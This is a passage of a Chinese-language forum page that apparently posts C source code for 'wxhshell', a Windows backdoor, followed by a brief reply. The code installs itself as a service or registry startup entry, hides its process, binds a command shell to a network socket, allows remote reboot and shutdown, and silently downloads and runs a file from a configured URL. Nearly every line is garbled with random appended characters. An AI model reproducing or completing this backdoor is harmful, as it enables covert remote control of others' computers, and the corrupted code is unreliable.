  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I&Mdt<^D  
  else u8M_2r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DuIXv7"[  
  } a6 1!j>Kx  
  else { euVj,m  
-3guuT3x\  
    switch(cmd[0]) { mCG&=Fx  
  $L?KNXHAF!  
  // 帮助 d325Cw?  
  case '?': { vm'ZA7f6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CPMGsW^  
    break; '4Fwh]Ee  
  } 9y<h.T  
  // 安装 -4zV yW S<  
  case 'i': { >?rMMR+A  
    if(Install()) F=e-jKogK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+8Ybq  
    else K1Uq` TJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z^z`{B  
    break; /,UnT(/k(  
    } P.QF9%  
  // 卸载 ~QDM .5  
  case 'r': { C+[)^ 2M{  
    if(Uninstall()) MU(I#Prpe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;J6S  
    else #sDb611}#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q b/}&J7+  
    break; H-U_  
    } V)N{Fr)&  
  // 显示 wxhshell 所在路径 XmwAYf  
  case 'p': { u3GBAjPsIk  
    char svExeFile[MAX_PATH]; ~BX=n9  
    strcpy(svExeFile,"\n\r"); "WUS?Q  
      strcat(svExeFile,ExeFile); x5mg<y2`Ng  
        send(wsh,svExeFile,strlen(svExeFile),0); nw0#gDI|  
    break; /of K7/  
    } 2J8:_Ql3I  
  // 重启 : -d_  
  case 'b': { :dAd5v2f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q!?*M?Oz  
    if(Boot(REBOOT)) a6^_iSk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2vX $:4  
    else { q$mc{F($D  
    closesocket(wsh); ]z/R?SM  
    ExitThread(0); "\KBF  
    } IA({RE  
    break; mbGma  
    } kFV, Fg  
  // 关机 XclTyUGoK+  
  case 'd': { ;}"Eqq:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aR/?YKA  
    if(Boot(SHUTDOWN)) \r[u>7I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IT&,?u%  
    else { %S}uCqcAK  
    closesocket(wsh); vIbM@Y4 '?  
    ExitThread(0); dK4rrO  
    } ]L7A$sTUQ  
    break; 2R.L LE  
    } 5UO+c( T  
  // 获取shell KP>9hEh  
  case 's': { ^}B,0yUu'  
    CmdShell(wsh); =4a:)g'  
    closesocket(wsh); +8T^q,  
    ExitThread(0); v|o{AL:ei  
    break; ,0 q1Id  
  } ]MosiMJF  
  // 退出 h0@a"DqK  
  case 'x': { f$ xp74hw3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W%-XN   
    CloseIt(wsh); U/QgO  
    break; |#kY_d)10  
    } m(6d3P  
  // 离开 a[(OeVQ5  
  case 'q': { G~YZ(+V%~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dkZe.pv$j  
    closesocket(wsh); >m,hna]RZ  
    WSACleanup(); |uqI}6h.  
    exit(1); 9ziFjP+1  
    break; I /MY4?(T  
        } bYnq,JRA  
  } $2?AJ/2r$b  
  } E)gD"^rex  
R=lw}jH[Z  
  // 提示信息 ;*M@LP{*L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "J1A9|  
} _>R aw  
  } h<`aL;.g  
Y(.e e%;,  
  return; h @!p:]  
} N8{jvat  
7GYf#} N  
// shell模块句柄 ~\jP+[>M'  
int CmdShell(SOCKET sock) V0>X2&.A  
{ >8>!wi9U  
STARTUPINFO si; ,=P&{38\q  
ZeroMemory(&si,sizeof(si)); Qs6Vu)U=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nc7"`!;-   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |Ev|A9J!  
PROCESS_INFORMATION ProcessInfo; d8wVhZKI"  
char cmdline[]="cmd"; 7v ZD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Ld5WEp k3  
  return 0; , ~O>8VbF  
} Yi*F;V   
&>,;ye>A  
// 自身启动模式 K8;SE !  
int StartFromService(void) ,,gMUpL7_8  
{ iZ-R%-}B  
typedef struct .ybmJU*Hg  
{ >8e)V ;  
  DWORD ExitStatus; Mw/9DrE7/  
  DWORD PebBaseAddress; @MES.g  
  DWORD AffinityMask; 6dRhK+|  
  DWORD BasePriority; 4]h/t&ppq  
  ULONG UniqueProcessId; WiS3W;  
  ULONG InheritedFromUniqueProcessId; pj$JA  
}   PROCESS_BASIC_INFORMATION; qk2E>  
<+oh\y16  
PROCNTQSIP NtQueryInformationProcess; \9)5b8  
)!2@v@SQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kGYpJg9=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0Z1ksfLU  
[iub}e0  
  HANDLE             hProcess; aDF@A S  
  PROCESS_BASIC_INFORMATION pbi; P}v ;d]  
u 2 s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,t9EL 21  
  if(NULL == hInst ) return 0; yV(#z2|  
79v+ze  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SK}sf9gTv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tOiz tYu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y2jv84 M  
_O`p(6  
  if (!NtQueryInformationProcess) return 0; h0tiWHw  
PR%)3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  '"B  
  if(!hProcess) return 0; MJXnAIG?2  
>Ku4Il+36  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :?6HG_9X  
~)U50. CH  
  CloseHandle(hProcess); &n6{wtBP  
Z<nNk.G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lYG`)#T  
if(hProcess==NULL) return 0; NN*L3yx  
o$*(N  
HMODULE hMod; <fvu) f  
char procName[255]; Nw*<e ]uD  
unsigned long cbNeeded; W"c\/]aD  
1<r!9x9G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \f9WpAY  
gk%nF  
  CloseHandle(hProcess); dk|LC-]`A  
 XIInI  
if(strstr(procName,"services")) return 1; // 以服务启动 7;EDU  
@]l|-xGCWn  
  return 0; // 注册表启动 ;g0Q_F@;p  
} Q,3kaR@O  
~ WWhCRq  
// 主模块 wQ+pVu?6_  
int StartWxhshell(LPSTR lpCmdLine) rl|'.~mc  
{ ?^Rp" H   
  SOCKET wsl; D S U`(`  
BOOL val=TRUE; qLEYBv-3  
  int port=0; "iSY;y o  
  struct sockaddr_in door; N%dY.Fk  
C+NN.5No  
  if(wscfg.ws_autoins) Install(); ``l*;}  
${Un#]g  
port=atoi(lpCmdLine);  LCor T-  
?Q"andf  
if(port<=0) port=wscfg.ws_port; 6$urrSQ`N0  
D$}hoM1  
  WSADATA data; X30tO>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }~ D WB"  
qp})4XTv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &-=~8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JwSF}kNs}  
  door.sin_family = AF_INET; hxoajexU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pP| @Z{7d`  
  door.sin_port = htons(port); _E C7r>V&  
z!g$#hmL>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mw"FQ?bJ  
closesocket(wsl); iB)\* )  
return 1; UIAazDyC  
} 5iA>Z!sP[  
50_[hC&C)  
  if(listen(wsl,2) == INVALID_SOCKET) { wH~A> 4*(  
closesocket(wsl); cY5&1Shb~  
return 1; 05wkUo:9  
} v@\S$qU2  
  Wxhshell(wsl); `etw[#~N  
  WSACleanup(); |vs5N2_  
vb>F)X?b_  
return 0; Ae>+Fcv  
poQ_r <I  
} ^#R`Uptib  
|5~Oh`w  
// 以NT服务方式启动 rI$NNk'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2.^{4 1:  
{ r&LZH.$oh  
DWORD   status = 0; v'hc-Q9+>  
  DWORD   specificError = 0xfffffff; v2;E Wp  
qyRN0ZB"A^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yj:@Fg-3g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BM!ZdoKrKt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H:DR?'yW  
  serviceStatus.dwWin32ExitCode     = 0; [%K6-\S  
  serviceStatus.dwServiceSpecificExitCode = 0; x1 |/  
  serviceStatus.dwCheckPoint       = 0; 9y!0WZE{e  
  serviceStatus.dwWaitHint       = 0; EE"8s7ZF  
l[E^nh>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h .Qk{v  
  if (hServiceStatusHandle==0) return; .z#eYn% d  
}; '@'   
status = GetLastError(); B:"D)/\  
  if (status!=NO_ERROR) 7NvKp inQ  
{ T1Py6Q,-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9Q9{>d#"  
    serviceStatus.dwCheckPoint       = 0; ("a@V8M`$F  
    serviceStatus.dwWaitHint       = 0; T_*inPf  
    serviceStatus.dwWin32ExitCode     = status; Tt: (l/1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2;Z 0pPR&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r?DCR\Jq  
    return; 'l'3&.{Yfk  
  } xNIrmqm5]  
A+l(ew5Lw$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T,!EL +o4  
  serviceStatus.dwCheckPoint       = 0; %"{P?V<-V  
  serviceStatus.dwWaitHint       = 0; Q/|.=:~FO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m1W) PUy  
} %,[,mW4l   
i]MemM-  
// 处理NT服务事件,比如:启动、停止 9^/Y7Wp/@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `KZV@t  
{ 0Md>-H;ZY  
switch(fdwControl) _$UJ'W})/  
{ X.<3 /  
case SERVICE_CONTROL_STOP: $#rkvG_w  
  serviceStatus.dwWin32ExitCode = 0; qm=U<'b^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h3`}{ w  
  serviceStatus.dwCheckPoint   = 0; ,>B11Z}PH  
  serviceStatus.dwWaitHint     = 0; Z )c\B  
  { Ck/44Wfej  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fTj@/"a  
  } gXI-{R7Me  
  return; d[6 'w ?  
case SERVICE_CONTROL_PAUSE: cX9o'e:C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tx} Nr^   
  break; JMB#KzvN[  
case SERVICE_CONTROL_CONTINUE: 6xDk3   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1'f_C<.0  
  break; |:C0_`M9  
case SERVICE_CONTROL_INTERROGATE: s)WA9PiC  
  break; 9n(68|^$  
}; v? ."`,e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V0^{Ss1M  
} C+' -TLeu  
^}P94(oz  
// 标准应用程序主函数 (7qlp*8.s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nXn@|J&z~U  
{ I0x)d`  
i(% 2t(wf+  
// 获取操作系统版本 1 *' /B  
OsIsNt=GetOsVer(); a]p9 [Nk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o-bH3Jkb]&  
6>]  
  // 从命令行安装 g**!'T4&o  
  if(strpbrk(lpCmdLine,"iI")) Install(); MFROAVPZ5  
@aQ:3/  
  // 下载执行文件 :a{dWgN  
if(wscfg.ws_downexe) { _;3,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pFH.beY  
  WinExec(wscfg.ws_filenam,SW_HIDE); zr!7*, p  
} OB.rETg  
*+rfRH]a  
if(!OsIsNt) { AO5&Y.A#  
// 如果时win9x,隐藏进程并且设置为注册表启动 |tAkv  
HideProc(); P;.roD9  
StartWxhshell(lpCmdLine); s4|tWfZ  
} 9`Qa/Y!  
else z I2DQ] 9  
  if(StartFromService()) R3G\Gchd  
  // 以服务方式启动 0U7Gl9~  
  StartServiceCtrlDispatcher(DispatchTable); [~8U],?1  
else 'd2 :a2C]  
  // 普通方式启动 }W^@mi  
  StartWxhshell(lpCmdLine); ]$drBk86bh  
z-MQGq xR  
return 0; :6o%x0l  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五